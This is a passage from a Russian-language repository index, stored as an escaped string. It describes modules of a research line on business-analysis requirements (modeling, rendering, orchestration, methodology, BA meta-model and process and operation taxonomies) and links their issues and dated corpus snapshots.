(`00\u202650`).\\n- [`solution-modeling/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/solution-modeling/00-introduction.md)\\n  \u2014 \u043c\u043e\u0434\u0443\u043b\u044c `M1`: \u044f\u0434\u0440\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439. \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `INV-1`\u2026`INV-9`, \u043a\u043b\u0430\u0441\u0441\u044b \u043c\u043e\u0434\u0435\u043b\u0435\u0439\\n  `MO-1`\u2026`MO-12`, \u0442\u0438\u043f\u044b \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 `EL-1`\u2026`EL-8`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `C-CORE` \u0438 \u0433\u0435\u0439\u0442\u044b\\n  `HG-3`/`HG-4`.\\n- [`artifact-rendering/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-rendering/00-introduction.md)\\n  \u2014 \u043c\u043e\u0434\u0443\u043b\u044c `M2`: \u0440\u0435\u043d\u0434\u0435\u0440 \u044f\u0434\u0440\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b. \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0440\u0435\u043d\u0434\u0435\u0440\u0430\\n  `RN-1`\u2026`RN-5`, \u043a\u043b\u0430\u0441\u0441\u044b \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 `DC-1`\u2026`DC-9`, \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0435\u0434\u0440\u0435\u0439\u0444\u0430\\n  `ND`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `C-OUT` \u0438 \u0433\u0435\u0439\u0442\u044b `HG-5`/`HG-5.1`.\\n- [`feedback-and-evolution/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/feedback-and-evolution/00-introduction.md)\\n  \u2014 \u043c\u043e\u0434\u0443\u043b\u044c `M3`: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n  \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0437\u0430\u043c\u044b\u043a\u0430\u043d\u0438\u044f `CL-1`\u2026`CL-6`, \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043c\u0435\u0442\u0440\u0438\u043a `MK-*`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 `C-CL`\\n  \u0438 \u0433\u0435\u0439\u0442\u044b `HG-6`/`HG-7`.\\n- [`orchestration/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/00-introduction.md)\\n  \u2014 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044c `M4`: \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f, \u0440\u043e\u043b\u0438, \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u044f \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0435\u0439\u0442\u044b.\\n  \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 `RT-1`\u2026`RT-7`, \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b `RT-A`\u2026`RT-F`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  `C-RK`, \u0433\u0435\u0439\u0442\u044b `HG-0` \u0438 `HG-8`, \u0441\u0432\u043e\u0434\u043d\u044b\u0439 build-vs-buy \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0443.\\n- [`methodology-unification/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/00-introduction.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0430\u044f \u043e\u0441\u044c \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0411\u0410: \u0434\u0432\u0443\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u0440\u0430\u043c\u043a\u0430 \u00ab\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u2194 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u00bb.\\n  \u0423\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 `L0` (\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f) \u2192 `L1` (\u0418\u0422-\u0442\u0435\u043b\u0435\u043a\u043e\u043c) \u2192\\n  `L2` (\u041c\u0430\u043d\u0433\u043e) \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u0438 \u0434\u0435\u043b\u044c\u0442\u044b `D1`\u2013`D5`; \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u2014 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0439\\n  \u043d\u0430\u0432\u044b\u043a `SKILL.md` \u0441 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 `I-1`\u2026`I-7`, \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b `S0`\u2013`S7`,\\n  \u0442\u0438\u043f\u043e\u043b\u043e\u0433\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 `G-self`/`G-mach`/`G-human`, \u0440\u0435\u0435\u0441\u0442\u0440 \u0440\u0430\u0437\u0440\u044b\u0432\u043e\u0432 `G-01`\u2026`G-15`\\n  \u0438 \u0440\u043e\u0430\u0434\u043c\u0430\u043f \u043a\u0430\u0441\u043a\u0430\u0434\u0430 `B-121`\u2026`B-135` (issue\\n  [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557)).\\n  \u041e\u0441\u044c \u043e\u0440\u0442\u043e\u0433\u043e\u043d\u0430\u043b\u044c\u043d\u0430 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0443 `M0`\u2013`M4`: \u0442\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb, \u044d\u0442\u043e\u0442 \u2014 \u00ab\u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u0430\u00bb.\\n\\n- [`artifact-micro-structure/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/artifact-micro-structure/00-introduction.md)\\n  \u2014 \u043c\u0438\u043a\u0440\u043e-\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0442\u043e\u0439 \u0436\u0435 \u043e\u0441\u0438: \u043a\u0430\u043a \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u0437\u0438\u0441 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0434\u0435\u043b\u044c\u0442\u044b\\n  \u0441\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a **\u043e\u0434\u043d\u043e\u0439** \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432\\n  `S-*` \u0441 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u044c\u044e, \u043a\u043b\u0430\u0441\u0441\u044b \u0444\u043e\u0440\u043c\u0430\u0442\u0430 `F-*`, \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438\\n  `V-BIZ`/`V-APPROVE`/`V-DEV` \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u044f\u0434\u0440\u0430, \u043f\u0440\u043e\u0444\u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\\n  `P-SETTINGS`/`P-NO-SETTINGS`/`P-DEVICE`/`P-API`, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f `R-1`\u2026`R-6`,\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043d\u0430\u0432\u044b\u043a\u0430 (`OP-1`, `OP-2`), \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 `CA-1`\u2026`CA-6`, Golden Set \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u0433\u0435\u0439\u0442\u0430 `G-mach`\\n  (`GS-1`\u2026`GS-5`), 12 \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u043e\u0432 `E-1`\u2026`E-12` \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 `B-136`\u2026`B-143`\\n  (issue [#561](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561)).\\n  \u041c\u043e\u0434\u0443\u043b\u044c `methodology-unification/` \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e **\u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f**: \u043f\u043e\u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043a \u043d\u0435\u043c\u0443 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u044b \u043a\u0430\u043a `\u041f-1`\u2026`\u041f-5` \u0438 \u0437\u0430\u0432\u0435\u0434\u0435\u043d\u044b \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-141`.\\n\\n## \u041f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438\\n\\n\u0422\u0440\u0438 \u043c\u043e\u0434\u0443\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 \u0441\u0440\u0435\u0434\u0435\\nGigaCode, \u0442\u043e \u0435\u0441\u0442\u044c \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0439\\n\u0440\u0430\u043c\u043a\u043e\u0439. \u041f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n([`standards/project-structure-inheritance.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/project-structure-inheritance.md))\\n\u0438\u0445 \u0434\u043e\u043c \u2014 [`projects/ba-ai-process/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/README.md)\\n(\u0437\u0430\u0434\u0430\u0447\u0430 `B-155`, issue [#573](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/573)).\\n\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u2014 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b \u043d\u0438\u0436\u0435 \u2014 \u043e\u0441\u0442\u0430\u043b\u0430\u0441\u044c \u0437\u0434\u0435\u0441\u044c:\\n\u0441\u043d\u0438\u043c\u043e\u043a \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430 \u0438 \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044e\\n\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0443.\\n\\n- [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n  \u2014 \u0441\u0438\u043d\u0442\u0435\u0437 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0439 \u0431\u0430\u0437\u044b \u0432 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563)):\\n  \u0434\u0435\u0432\u044f\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 `MM-1`\u2026`MM-4`, \u0447\u0435\u0442\u044b\u0440\u0435\\n  \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 (\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b `A-*`, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435\\n  \u043a\u043b\u0430\u0441\u0441\u044b) \u043f\u043b\u044e\u0441 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432, \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432\\n  \u0437\u0430\u043f\u0443\u0441\u043a\u0430 `stepwise`/`oneshot`/`legacy` (`DP-1`\u2026`DP-5`, ADR-013, ADR-016), \u043f\u0440\u0430\u0432\u0438\u043b\u0430\\n  \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f `LG-1`\u2026`LG-6` (ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014\\n  \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e \u043f\u0440\u043e\u0448\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441 \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b), \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e `SKILL.md` (`SK-1`\u2026`SK-10`), \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442 (`EP-R1`\u2026`EP-R4`),\\n  Golden Set (`EP-G1`\u2026`EP-G5`), Mermaid-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 BCREQ \u0438 \u043f\u043b\u0430\u043d\\n  \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e MVP-\u0441\u0440\u0435\u0437\u0430 \u0441 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438 `M-1`\u2026`M-5`. \u041c\u043e\u0434\u0443\u043b\u0438 `M0`\u2013`M4` \u0438 \u043e\u0441\u0435\u0432\u044b\u0435\\n  \u043c\u043e\u0434\u0443\u043b\u0438 **\u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f**: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0432\u0435\u0434\u0435\u043d\u044b \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u043c\u0438.\\n  **\u0412\u0435\u0440\u0441\u0438\u044f 0.2** (issue [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u2014 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b `\u0421\u0438\u0441\u0442\u0435\u043c\u0430` (\u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, `SY-1`\u2026`SY-3`)\\n  \u0438 `\u0410\u043a\u0442\u043e\u0440` (\u043e\u0431\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, `AC-1`\u2026`AC-3`); \u043d\u0430\u0432\u044b\u043a\\n  \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u043a\u0430\u043a \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 (`\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043d\u0430\u0432\u044b\u043a\u0438 1:N \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 1:N`,\\n  `OPS-1`\u2026`OPS-5`); \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 \u0441 \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u043c\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438, \u0430\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u2014 \u043e\u0434\u043d\u0430 \u0442\u0440\u0430\u0435\u043a\u0442\u043e\u0440\u0438\u044f \u043f\u043e \u043d\u0435\u043c\u0443 (`EP-R5`, `EP-R6`); \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439 \u0433\u0435\u0439\u0442\\n  \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a (`GT-5`); \u0437\u0430\u044f\u0432\u043a\u0430 \u043d\u0430 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u043d\u044f\u0442\u0430 \u0438\\n  \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u043e\u0439 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u0438 (`scope: mango-only`).\\n\\n- [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n  \u2014 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 \u043d\u0430 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u043c \u0431\u0430\u0437\u0438\u0441\u0435 (issue\\n  [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f `L0` (\u0448\u0435\u0441\u0442\u044c \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 BABOK v3) \u2192 `L1` (\u0448\u0435\u0441\u0442\u044c \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\\n  \u0440\u0430\u0431\u043e\u0442) \u2192 `L2` (\u0434\u0435\u0441\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a \u041c\u0430\u043d\u0433\u043e `P-01`\u2026`P-10`) \u2192 `L3` (33\\n  \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430), \u0433\u0434\u0435 `L0`/`L1` **\u043d\u0430\u0441\u043b\u0435\u0434\u0443\u044e\u0442\u0441\u044f** \u0438\u0437 BABOK, \u0430 `L2`/`L3`\\n  \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0434\u0435\u043b\u044c\u0442\u043e\u0439 \u0441 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u044f. \u041f\u0440\u0435\u0436\u043d\u0438\u0435 \u0434\u0435\u0432\u044f\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n  \u0434\u0435\u043f\u0440\u0435\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u2014 \u0441\u043c\u0435\u043d\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\\n  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 `fr-generation` \u00ab\u043e\u0442 \u0441\u044b\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0434\u043e \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0424\u0422/\u0422\u0417\u00bb\\n  \u0440\u0430\u0441\u043f\u0430\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0442\u0440\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u042f\u0440\u0443\u0441\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f `G1`\u2013`G7` \u0437\u0430\u0438\u043c\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0438\u0437\\n  [`research/ai-education/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ai-education/task-processing/00-introduction.md),\\n  \u043c\u0435\u0442\u0440\u0438\u043a\u0438 `MP-1`\u2026`MP-6`.\\n- [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md)\\n  \u2014 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0442\u043e\u0439 \u0436\u0435 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0438: \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043a\u0430\u043a **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e\\n  \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u0448\u0435\u0441\u0442\u0438\u043f\u043e\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c,\\n  31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 (`extract`, `transform`, `generate`, `check`,\\n  `assess`), \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438 `OA-1`\u2026`OA-6` (\u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438\\n  \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u2014 \u043f\u0440\u0438\u0437\u043d\u0430\u043a \u043d\u0430\u0432\u044b\u043a\u0430, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438), \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 33\\n  \u043d\u0430\u0432\u044b\u043a\u043e\u0432 `L3` \u043d\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u044f\u0440\u0443\u0441\u044b `OG-1`\u2026`OG-5` \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 `MO-1`\u2026`MO-5`.\\n\\n## \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438\\n\\n- [`2026-08-26-rrp-full-cycle-corpus-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-26-rrp-full-cycle-corpus-facts.md)\\n  \u2014 \u043e\u0431\u0449\u0430\u044f \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f 